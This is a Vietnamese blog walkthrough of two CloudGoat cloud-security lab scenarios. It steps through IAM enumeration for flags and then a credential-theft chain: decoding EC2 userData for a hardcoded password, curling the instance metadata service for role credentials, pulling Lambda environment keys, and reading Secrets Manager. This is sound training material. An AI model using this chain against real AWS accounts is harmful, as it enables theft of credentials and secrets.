Skip to main content

Command Palette

Search for a command to run...

CloudGoat [Part 1]

Updated
6 min readView as Markdown

Setup

Linux

sudo apt install terraform awscli azure-cli jq -y
pipx install cloudgoat

Sau khi cài xong cần setup config

cloudgoat config aws
cloudgoat config whitelist --auto

Config aws

└─$ aws configure --profile cloudgoat

Cách tạo 1 Scenarios

└─$ cloudgoat create iam_enum_basics --profile cloudgoat

Scenario: iam_enum_basics

Cài đặt

└─$ cloudgoat create iam_enum_basics --profile cloudgoat

Đầu tiên là tạo một người dùng cg-bob và tạo access key cli tại iam.tf

# User: Bob (The starting point)
resource "aws_iam_user" "bob" {
  name = "cg-bob-${var.cgid}"
  
  # A little breadcrumb tag just for fun
  tags = {
    "Message" = "Enumerate me"
  }
}

resource "aws_iam_access_key" "bob_keys" {
  user = aws_iam_user.bob.name
}

Tiếp đến gắn (attach) policy IAMReadOnlyAccess vào user Bob. Terraform name "bob_base_permissions"

resource "aws_iam_user_policy_attachment" "bob_base_permissions" {
  user       = aws_iam_user.bob.name
  policy_arn = "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
}

User Bob được gán (attach) hai managed policies gồm: IAMReadOnlyAccesscg-flag1-managed-policy. Hai policy này cung cấp quyền đọc IAM cơ bản và chứa thông tin flag trong phần mô tả của policy tùy chỉnh.

👉 Flag 1 nằm trong description của IAM policy
👉 Flag 5 nằm trong trường Resource bên trong JSON policy (trỏ tới S3 ARN)

👉 Flag 2 nằm tại của IAM policy Statement

Tạo group và add bob vào trong group đó. Vì group có nhiều user nên users là 1 array list

👉 Flag 3 nằm trong thuộc tính path của IAM group cg-flag3-group.

👉 Flag 4 nằm trong tag của IAM role.

Exploit

Khi đó kịch bản sẽ tạo cho một IAM ban đầu là bob

Config profile bob và verify thành công

Flag 1

Liệt kê các policy đã được gắn (attached) vào người dùng Bob.

└─$ aws iam list-attached-user-policies --user-name cg-bob-cgidvyfhj16c0s --profile bob                                        

Flag 1 nằm trong description

└─$ aws iam get-policy --policy-arn arn:aws:iam::941904984656:policy/cg-flag1-managed-policy-cgidvyfhj16c0s --profile bob

Flag 1 trong AWS

Flag 5

IAM policy có thể có nhiều version, và AWS không lưu JSON policy trực tiếp ở “policy”

Lấy version của policy

└─$ aws iam get-policy --policy-arn arn:aws:iam::941904984656:policy/cg-flag1-managed-policy-cgidvyfhj16c0s --profile bob   

Lấy thông tin chi tiết của policy với version v1

└─$ aws iam get-policy-version --policy-arn arn:aws:iam::941904984656:policy/cg-flag1-managed-policy-cgidvyfhj16c0s --version-id v1 --profile bob

Flag 5 trong AWS

Có thể xem 2 chế độ đều được

Flag 2

Liệt kê policy inline của người dùng bob

└─$ aws iam list-user-policies --user-name cg-bob-cgidvyfhj16c0s --profile bob
{
    "PolicyNames": [
        "cg-flag2-inline-policy-cgidvyfhj16c0s"
    ]
}

Xem chi tiết thông tin policy đó

└─$ aws iam get-user-policy --user-name cg-bob-cgidvyfhj16c0s --policy-name cg-flag2-inline-policy-cgidvyfhj16c0s --profile bob

Flag 2 tại AWS

FLag 3

Flag 3 nằm trong thuộc tính path của IAM group cg-flag3-group.

└─$ aws iam list-groups-for-user --user-name cg-bob-cgidvyfhj16c0s --profile bob  

Flag 3 trên AWS

Flag 4

└─$ aws iam list-roles --profile bob 
└─$ aws iam list-roles --profile bob | jq -r '.Roles[].RoleName'

Xem chi tiết role

aws iam get-role --role-name cg-flag4-role-cgidvyfhj16c0s --profile bob

Flag 4 trên AWS

Destroy

cloudgoat destroy iam_enum_basics --profile cloudgoat

Scenario: data_secrets

Cài đặt

cloudgoat create data_secrets --profile cloudgoat

Verify start_user

File ec2.tf

Đầu tiên khởi tạo EC2 aws ami. user_data là script được truyền vào EC2 để chạy tự động khi máy khởi động lần đầu. Đoạn script thực hiện cấu hình với thông tin đăng nhập được hardcode trong script user_data và cho phép xác thực SSH bằng mật khẩu.

Security Group cho phép truy cập SSH đi vào ec2.

Ip whitelist phải được cấu hình đúng mới ssh được

└─$ cloudgoat config whitelist --auto

FIle lambda.tf

Sử dụng data source archive_file để tạo file ZIP chứa mã nguồn Lambda.

Sau đó tạo role cg-lambda-exec-role với trust policy cho phép dịch vụ Lambda (lambda.amazonaws.com) assume role.

Đoạn cấu hình tạo Lambda function và lưu trữ thông tin xác thực (Access Key và Secret Key) trong environment variables. Việc lưu trữ credentials theo cách này có thể dẫn đến rò rỉ thông tin nhạy cảm nếu Lambda bị truy cập trái phép.

Đây chính là Lambda function được deploy

Accesskey và secretkey được lưu tại ENV của Lambda

File iam.tf

Khởi tạo người dùng cg-lambda-user và access key. cg-lambda-user có quyền đọc AWS Secrets Manager

File secrets.tf

Vị trí flag được lưu tại secret

Exploit

Liệt kê ec2 instances đang chạy

└─$ aws ec2 describe-instances --region us-east-1 --profile start_user | jq -r ".Reservations[].Instances[].InstanceId"
i-0b900761212bdb957

Lầy public Ip

└─$ aws ec2 describe-instances --region us-east-1 --profile start_user | jq -r '.Reservations[].Instances[] | "ID: \(.InstanceId) | IP: \(.PublicIpAddress)"'

Xem thông tin chi tiết attribute userData instance

aws ec2 describe-instance-attribute --instance-id i-0b900761212bdb957 --attribute userData --region us-east-1 --profile start_user

Vì dữ liệu trả về là base64 nên decode.

Từ đó lấy được mật khẩu của người dùng ec2-user

ec2-user:CloudGoatInstancePassword!

SSH vào ec2 Instance

Khi truy cập được vào EC2, sử dụng IAM role gắn với instance. AWS cung cấp thông tin xác thực tạm thời (temporary credentials) thông qua Instance Metadata Service (IMDS) tại địa chỉ 169.254.169.254.

Tìm name của IAM role attached instance

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

cg-ec2-role-cgidcyzowvs0fr

Trên AWS nó chính là role này

Khi truy cập được vào EC2, kẻ tấn công có thể lấy credentials của IAM Role thông qua metadata service và sử dụng chúng để truy cập tài nguyên AWS theo quyền của role.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidcyzowvs0fr

Config và Verify ec2_role

Sử dụng token đó liệt kê funtion

└─$ aws lambda list-functions --region us-east-1 --profile ec2_role
aws lambda get-function --function-name <FUNCTION_NAME> --region us-east-1 --profile ec2_role

Lấy được enviroment

Config và verify

Từ quyền GetSecretValue, ListSecrets, DescribeSecret

aws secretsmanager list-secrets --region us-east-1 --profile lambda_user
aws secretsmanager get-secret-value --secret-id <SECRET_ARN> --region us-east-1 --profile lambda_user

Destroy

cloudgoat destroy data_secrets --profile cloudgoat